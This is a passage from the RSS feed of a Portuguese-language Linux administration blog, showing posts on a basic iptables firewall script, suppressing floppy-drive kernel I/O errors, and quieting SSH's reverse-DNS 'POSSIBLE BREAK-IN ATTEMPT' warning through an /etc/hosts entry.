<li>DROP o tráfego é descartado, sem que host de origem seja avisado.</li>
</ul>
<p>Por que utilizar DROP então?</p>
<p>Eu prefiro utilizar DROP pois dessa maneira, quando um host tentar abrir uma conexão para meu servidor, os pacotes serão descartados até que ocorra um timeout no host de origem. Então um portscan por exemplo demorará muito mais para mapear todas as portas do meu servidor.</p>
<h2>Juntando tudo</h2>
<pre>echo 1 &gt; /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p ALL -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -s 127.0.0.1 -j ACCEPT
iptables -P FORWARD DROP
iptables -P INPUT DROP</pre>
<p>Você pode salvar os comandos acima em um arquivo firewall.sh e colocá-lo para executar no seu /etc/rc.local</p>
<h2>Abrir outras portas?</h2>
<p>Para abrir outras portas, basta colocar outras regras como essa, no final do script:</p>
<pre>iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT</pre>
<p>Porém alterando de 22 para a porta que você deseja abrir.</p>
<h2>Qual o motivo de existir essa regra de estado (&#8211;state ESTABLISHED,RELATED) ?</h2>
<p>Essa regra garante que os pacotes das conexões abertas a partir do servidor, conseguirão voltar para ele.</p>
<p>Por exemplo, quando o servidor faz uma consulta DNS, o pedido vai sair pelo OUTPUT do iptables (que deixamos liberado) e quando voltar, vai bater no INPUT. Se não tiver essa regra, o firewall iria descartar o pacote com as informações de DNS retornando.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/configurando-firewall-iptables-em-servidor-dedicado/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Buffer I/O error on device fd0, logical block 0 error</title>
		<link>http://www.hack.net.br/blog/linux/buffer-io-error-on-device-fd0-logical-block-0-error/</link>
		<comments>http://www.hack.net.br/blog/linux/buffer-io-error-on-device-fd0-logical-block-0-error/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 18:37:59 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[floppy]]></category>
		<category><![CDATA[i/o error]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=121</guid>
		<description><![CDATA[Um erro comum, que vem acontecendo em novas máquinas linux sem drive de disquete (floppy). Vasculhando o arquivo /var/log/message, é possivel encontrar a seguinte mensagem: Nov 05 12:04:05 dell01 kernel: end_request: I/O error, dev fd0, sector 0 Nov 05 12:04:05 dell01 kernel: Buffer I/O error on device fd0, logical block 0 O que isso significa? [...]]]></description>
			<content:encoded><![CDATA[<p>Um erro comum, que vem acontecendo em novas máquinas linux sem drive de disquete (floppy).</p>
<p><span id="more-121"></span></p>
<p>Vasculhando o arquivo <strong><em>/var/log/message</em></strong>, é possivel encontrar a seguinte mensagem:</p>
<blockquote><p><em>Nov 05 12:04:05 dell01 kernel: end_request: I/O error, dev fd0, sector 0</em><em><br />
Nov 05 12:04:05 dell01 kernel: Buffer I/O error on device fd0, logical block 0</em></p></blockquote>
<p>O que isso significa? E como podemos consertar?</p>
<p>Então, essa mensagem aparece porque o kernel não detecta o<em> floppy </em>instalado na máquina linux. A solução para tal problema é simples, vamos desabilitar o modulo e reiniciar.</p>
<p>Primeiro vamos verificar se o módulo está carregado:</p>
<pre><em><code># lsmod | grep -i floppy
</code>floppy                 95465  0</em></pre>
<p>Vamos abrir o arquivo <em>/etc/modprobe.d/blacklist</em>, pode ser usado qualquer editor de texto( eu uso o <em>nano</em> mas vou colocar no exemplo o <em>vi</em> que vem padrão em qualquer distribuição).</p>
<pre># vi /etc/modprobe.d/blacklist</pre>
<p>Adicionando o nome do modulo a esse aquivo, vamos evitar que ele seja carregado pelo <em>hotplug</em> durante o boot.</p>
<pre>blacklist floppy</pre>
<p>Salvamos o arquivo, fechamos (<strong><em>wq!</em></strong> no <em>vi</em> para quem tiver duvida) e reiniciamos a máquina linux.</p>
<pre>#reboot</pre>
<p>pode ser <em><strong>reboot</strong> </em>ou <strong><em>shutdown -r now</em></strong> dependendo da distribuição</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/buffer-io-error-on-device-fd0-logical-block-0-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reverse Mapping Checking &#8211; Possible Break-in Attempt Error with SSH</title>
		<link>http://www.hack.net.br/blog/linux/reverse-mapping-checking-possible-break-in-attempt-error-with-ssh/</link>
		<comments>http://www.hack.net.br/blog/linux/reverse-mapping-checking-possible-break-in-attempt-error-with-ssh/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 13:34:31 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[reverse ip]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=94</guid>
		<description><![CDATA[Veremos nesse tópico como solucionar um erro de acesso via ssh ou sftp, as vezes chato, de uma maneira bem simples! Quando você conecta a um host usando SSH ou SFTP, é feita uma serie de checagens para se certificar que você está conectando ao host certo. Uma dessas é através do DNS Reverso. Ele [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Veremos nesse tópico como solucionar um erro de acesso via ssh ou sftp, as vezes chato, de uma maneira bem simples!</p>
<p style="text-align: justify"><span id="more-94"></span></p>
<p style="text-align: justify">Quando você conecta a um host usando SSH ou SFTP, é feita uma serie de checagens para se certificar que você está conectando ao host certo.</p>
<p style="text-align: justify">Uma dessas é através do <em>DNS Reverso</em>. Ele checa, através de um <em>lookup</em>, se o ip que você está conectando é o mesmo do hostname cadastrado. Se não for, você vai receber a seguinte mensagem de erro: &#8220;<strong><em>reverse mapping checking getaddrinfo for &#8230; POSSIBLE BREAK-IN ATTEMPT!</em></strong>&#8220;.</p>
<p style="text-align: justify">Exemplo:</p>
<pre style="text-align: justify;padding-left: 30px">[root@woldo ~]#ssh 200.15.204.15x
Address 200.15.204.15x maps to free-15x.c4b972.datatek.com.br,
but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!
200.15.204.15x's password:
[root@fw ~]#</pre>
<p style="text-align: justify">
<p style="text-align: justify">Bem, o login foi feito sem problema nenhum, mesmo apresentando o erro.<br />
Verdade, porém, se você estiver acessando SSH sem a utilização de senha, no caso usando chave, você encontrará problemas.</p>
<p style="text-align: justify">Então como solucionar esse erro de um jeito mais simples que alterar o cadastro do DNS?<br />
É bem simples!</p>
<p style="text-align: justify">Vamos editar o arquivo <strong><em>hosts</em></strong> que fica no <strong><em>/etc/ </em></strong>na maquina local e adicionar a seguinte linha:</p>
<pre style="text-align: justify;padding-left: 30px"><em>200.15.204.15x free-15x.c4b972.datatek.com.br</em></pre>
<p style="text-align: justify">
<p style="text-align: justify">Depois só salvar o arquivo e pronto!<br />
Só fazer novamente o login que o erro não aparecera mais!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/reverse-mapping-checking-possible-break-in-attempt-error-with-ssh/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

